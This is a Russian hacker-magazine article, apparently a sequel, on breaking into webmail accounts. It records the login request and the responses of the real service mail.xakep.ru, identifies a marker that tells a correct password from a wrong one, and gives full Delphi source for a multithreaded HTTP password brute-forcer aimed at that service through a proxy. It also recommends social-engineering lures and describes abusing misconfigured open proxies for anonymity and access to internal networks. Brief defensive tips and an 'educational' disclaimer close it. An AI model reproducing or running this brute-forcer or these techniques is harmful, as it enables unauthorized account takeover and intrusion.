• Партнер

  • Продолжение статьи по ПОПЫТКАМ взлома мыла. Для тех, кто в бронепоезде (крупными буквами): Я НЕ ПИШУ КАК ВЗЛАМЫВАТЬ МЫЛО. Я ЗАНИМАЮСЬ ИССЛЕДОВАНИЯМИ, ДЕЛЮСЬ НЕКОТОРЫМИ ПРИЕМАМИ КОДИНГА И ПРИКАЛЫВАЮСЬ НАД ОДНОЙ ТЕМОЙ В ФОРУМЕ (см. первую статью). Это мое личное право.
    Стандартной программы по взлому мыла с одной кнопкой "Hack it" не бывает. Есть человеческий фактор, который можно использовать. Попытка взлома мыла - это пару часов и чуть-чуть подождать. Самый лучший метод - социальная инженерия. Писать письма с определенным сообщением, с атачами, подходящими под это сообщение. А не так, как мне один виры уже 2 месяца шлет. Размер - 130 кило. Без комментариев. Задолбался уже в диспечере писем на кнопку "переименовать и удалить" жать, а поставщику его инет услуг написать облом. Скажу сразу обо всех описанных способах - если сразу не получилось, то lim(100)% уже и не получится. Только трата времени и инет-ресурсов. Это были основные выводы по мылу. Эти статьи предоставляют интерес (по моему мнению) с точки зрения исследований и приемов кодинга. А что таким образом исследовать и сканировать - умный человек найдет. Это основные выводы по статьям. Продолжим.

    HTTP - сервис.

    Восьмидесятый порт (чаще всего). Для написания проги, нам понадобятся дополнительные инструменты для ведения логов некоторых запросов. Это port-mapper или tcp-logger. Программы, способные вести лог запросов по выбранному протоколу. Почему не сниффер? Потому, что забивать гвозди микроскопом не удобно. Для прослушки порта можно взять
    xspider, по port-mapper есть хорошая статья на
    www.uinc.ru/index.html, tcp-logger с исходниками можно взять там же. Tcp-logger - это как бы локальный прокси (в броузере надо вписать в поле прокси наш адрес и порт, на котором стоит прога), который получает пакеты от клиента, записывает их в лог и отсылает другому прокси в цепочке. Тот запрашивает сервер и возвращает ответы нам.
    Тcp-logger получает их, опять пишет лог и передает клиенту. Как и обещал, будем исследовать mail.xakep.ru. Заходим броузером. Видим поля для ввода имени и пароля. Естественно, после ввода данных, будет сформирован и отослан url, содержащий эти данные. Включаем tcp-logger. Вот лог запроса на вход:

    GET
    http://mail.xakep.ru/cgi-bin/mail?username=USER&domain= xakep.ru&password=PASSWORD&submit=
    %C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/pdf, */*
    Accept-Language: ru
    User-Agent: Mozilla/9.0 (compatible; MSIE 9.0; Windows NT 8.0; qwerty)
    Host: mail.xakep.ru
    Proxy-Connection: Keep-Alive

    Для сканера-брутфорсера, нам нужно найти отличие ответов сервера на правильный пароль и не правильный. Для этого надо их ввести. На правильный пароль ответ:

    HTTP/1.0 200 OK
    Date: Fue, 32 May 2002 08:11:01 GMT
    Server: Apache
    Cache-Control: no-store
    Content-Language: en-us
    Pragma: no-cache
    Vary: Accept-Language
    Content-Type: text/html; charset=windows-1251
    X-Cache: MISS from proxy.proxy.proxy
    Proxy-Connection: close

    <HTML>
    <HEAD>
    ...

    Вот лог ответа на неправильный пароль:

    HTTP/1.0 200 OK
    Date: Fue, 32 May 2002 08:11:58 GMT
    Server: Apache
    Cache-Control: no-store
    Content-Language: en-us
    Pragma: no-cache
    Vary: Accept-Language
    Content-Type: text/html; charset=windows-1251
    X-Cache: MISS from proxy.proxy.proxy
    Proxy-Connection: close

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
    <html>
    <head>
    ...

    Таким образом, для того, чтобы сравнить отличие ответов, надо получить всего около 300 байт (в неправильном пароле есть <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">, в правильном его нет). Брутфорсер будет очень похож на cgi-scaner и брутфорсер для запароленных ресурсов, с
    одной только разницей, что сравнивать мы будем не первые строки с ответом 200 или 500, а несколько больший кусок данных. По сравнению с брутфорсом для POP3, этот имеет ряд преимуществ:

    1) Не надо на каждый запрос инициализировать сокет. Разрыв соединения при неправильном пароле не происходит, поэтому его можно инициализировать только на каждый процесс.

    2) Надо послать один запрос и получить один ответ, а не три.

    3) Можно использовать стандартный прокси.

    Итак, Опять делаем новое приложение, новое окно, кнопку и ProgreesBar. Вот исходники HTTP-брутфорсера:

    unit Unit1;
    interface
    uses
    Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
    ComCtrls, StdCtrls, WinSock;
    type
    TForm1 = class(TForm)
    Button1: TButton;
    ProgressBar1: TProgressBar;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    // Описание процесса
    type
    TScan = class(TThread)
    sock2 : TSocket;
    addr:TSockAddrIn;
    WSAData : TWSAData;
    private
    procedure CScan;
    protected
    procedure Execute; override;
    end;

    var
    Form1: TForm1;
    // Массив процессов
    Sock : array[1..255] of TScan;
    Rez : boolean = false;
    // Кол-во запущенных процессов на данный момент
    I0 : Integer;
    // Номер текущего пароля
    I : Integer;
    // TStringGrid-ы с паролями и с логом
    PassList, DopList1 : TStringList;

    const
    FilePass = 'pass.txt';
    // Файл с паролями в каталоге проги
    ProcCount = 10;
    // кол-во процессов
    // Адрес прокси через который будет сканирование.
    // Лучше отпинговать сначала
    HTTPserv = 'proxy.address.net';
    User = 'USER';

    implementation
    // Для преобразование имени
    type
    TaPInAddr = array [0..255] of PInAddr;
    PaPInAddr = ^TaPInAddr;
    {$R *.DFM}
    procedure TForm1.FormCreate(Sender: TObject);
    begin
    PassList:=TStringList.Create;
    DopList1:=TStringList.Create;
    end;
    // Запуск / Остановка
    procedure TForm1.Button1Click(Sender: TObject);
    var
    J0 : Integer;
    begin
    if Rez then begin
    Rez:=false;
    for J0:=1 to I0 do
    try Sock[J0].Terminate; except end;
    end else begin
    // Открытие и загрузка файла паролей
    try
    PassList.Clear;
    PassList.LoadFromFile(FilePass);
    except end;
    if PassList.Count<=0 then begin
    Application.MessageBox('Файл паролей не найден или его нельзя использовать','ERROR',mb_Ok);
    exit;
    end;
    Form1.Button1.Caption:='Stop';
    Form1.ProgressBar1.Position:=0;
    // Кол-во паролей
    Form1.ProgressBar1.Max:=PassList.Count;
    Application.ProcessMessages;
    I:=0;
    I0:=1;
    Rez:=true;
    // Запустить все процессы
    while true do begin
    Sock[I0]:=TScan.Create(false);
    inc(I0); // Подсчитать их кол-во
    //Выйти если больше указанного, или стоп,
    или подобрали

    if (I0>ProcCount)or(not Rez) then break;
    if I0 mod 100 = 0 then DopList1.Text:=IntToStr(I0);
    end;
    end;
    end;

    // Инициализация процесса
    procedure TScan.Execute;
    var
    iaddr, x0 : Integer;
    ph : PHostEnt;
    pptr : PaPInAddr;
    InAddr : TInAddr;
    begin
    try
    // Инициализация сокета
    WSAStartUp(257, WSAData);
    sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
    if sock2=INVALID_SOCKET then begin
    try closesocket(sock2); except end;
    try Terminate; except end;
    exit;
    end;
    // Получение адреса
    iaddr := inet_addr(HTTPserv);
    if iaddr <=0 then begin
    // Если имя, а не IP
    ph := gethostbyname(HTTPserv);
    if ph = nil then begin
    try closesocket(sock2); except end;
    try Terminate; except end;
    exit;
    end;
    pptr := PaPInAddr(ph^.h_addr_list);
    x0 := 0;
    while pptr^[x0] <> nil do begin
    InAddr:= pptr^[x0]^;
    inc(x0);
    addr.sin_addr:=inaddr;
    addr.sin_family := AF_INET;
    // Порт прокси - 80, 3128, 80808 и т.п.
    addr.sin_port := htons(80);
    if (connect(sock2, addr, sizeof(addr))) = 0 then break
    end;
    end else begin
    // Если IP
    addr.sin_addr.S_addr:=iaddr;
    addr.sin_family := AF_INET;
    // Порт прокси - 80, 3128, 80808 и т.п.
    addr.sin_port := htons(80);
    addr.sin_family := AF_INET;
    if (connect(sock2, addr, sizeof(addr))) > 0 then begin
    try closesocket(sock2); except end;
    try Terminate; except end;
    exit;
    end;
    end;
    // Запуск цикла
    while true do begin
    CScan;
    if (not Rez)or(I>=PassList.Count) then break;
    end;
    except end;
    dec(I0);
    try Terminate; except end;
    // Если отмена, закончился список или подобрали
    if I0<=1 then begin
    Form1.Button1.Caption:='Hack it';
    Rez:=false;
    Application.ProcessMessages;
    DopList1.SaveToFile('log.txt');
    end;
    end;

    // Процедура сканирования
    procedure TScan.CScan;
    var
    x, I2 : Integer;
    Buf : String;
    begin
    I2:=I;
    inc(I);
    Form1.ProgressBar1.Position:=I2+1;
    Application.ProcessMessages;
    try
    // Формирование url
    Buf:='GET http://mail.xakep.ru/cgi-bin/mail?username='+User+'&domain=xakep.ru
    &password='+PassList.Strings[I2]+'&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0';
    // Отправка данных
    send(sock2,Buf[1],length(Buf),0);
    // Получение 300 байт
    setlength(Buf,300);
    x:=recv(sock2,Buf[1],300,0);
    if x<300 then exit;
    setlength(Buf,300);
    // Если подобрали
    if pos(Buf,'<!D')<=0 then begin
    Rez:=false;
    DopList1.Text:='Pass = '+PassList.Strings[I2];
    Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
    exit;
    end;
    except
    end;
    end;
    end.

    Такая конструкция будет достаточно быстро работать. Правда, недостаточно быстро для ОЧЕНЬ БОЛЬШИХ файлов с паролями или прямого перебора. Но само описание и приемы подходят не только для мыла, но и для других HTTP-сервисов. Различные чаты, форумы и т.д. и т.п. Он достаточно просто переделывается в cgi-scaner и в брутфорсер перебора пароля на закрытые на сервере ресурсы.

    Анонимность.

    Прокси. Для HTTP брутфорсера - уже написано. Надо при инициализации сокета, использовать адрес и порт прокси. Для POP3 и прочего: надо юзать
    SOCKS-прокси. Всю информацию по использованию и настройке можно почитать здесь.

    Публичные прокси.

    Например, есть некоторая локальная сеть, из которой осуществляется выход в инет. На сервере стоит прокси сервер для того, чтобы все в локалке могли открывать сайты, получать почту и т.д. и т.п. Как это не странно, но очень многие забывают поставить соответствующий доступ к этому прокси. Т.к. практически все такие прокси поддерживают получение почты, телнет, HTTP, то сформировав запрос соответствующим образом, можно делать практически все. Не говоря уже о запуске брутфорсеров и т.п. через этот прокси, можно получать доступ ко всей локальной сетке. Обратным адресом будет адрес сервера с прокси. Об этом мало говорят, но такие сервера есть и их не так и мало. Таким образом, можно применяя технологию спуфинга, получать мыло у прова с уровнем безопасности из первой статьи (получение почты только при выходе в инет через них). В общем, вариантов использования очень много.

    Подведем итоги по безопасности.

    1. Если пароль на мыло указать не менее 8-ми случайных цифр и больших, маленьких букв, то подобрать пароль практически невозможно. Используя любой из описанных вариантов. Кол-во возможных вариантов ОЧЕНЬ большое. Это же касается и "Забыл пароль". Для параноиков - его можно менять раз в неделю/месяц.

    2. Не пользоваться броузером при получении писем. На всякий случай. Или использовать оперу без установленных сервисов поддержки
    Java.

    3. Не отвечать на подозрительные письма. Лучше быть невежливым, чем... Если есть малейшее подозрение, можешь не сомневаться - это атака на мыло.

    4. Отключить в e-mail клиенте авто просмотр html и не пользоваться аутглюком. Есть другие предложения на этом рынке. А ему запретить в firewall вообще куда-либо доступ.

    5. Хороший firewall, не только со стандартными функциями и ограничением показа баннеров, но и с автоматическим переименованием приатаченных файлов с выбранными расширениями.

    6. Нужно почаще получать письма и удалять их на сервере. Даже если пароль подобран, для чтения писем, атакующему придется очень часто их получать и админ рано или поздно это заметит.

    Все это бесполезно, при грамотном осуществлении 3-его способа (см. первую статью).

    P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии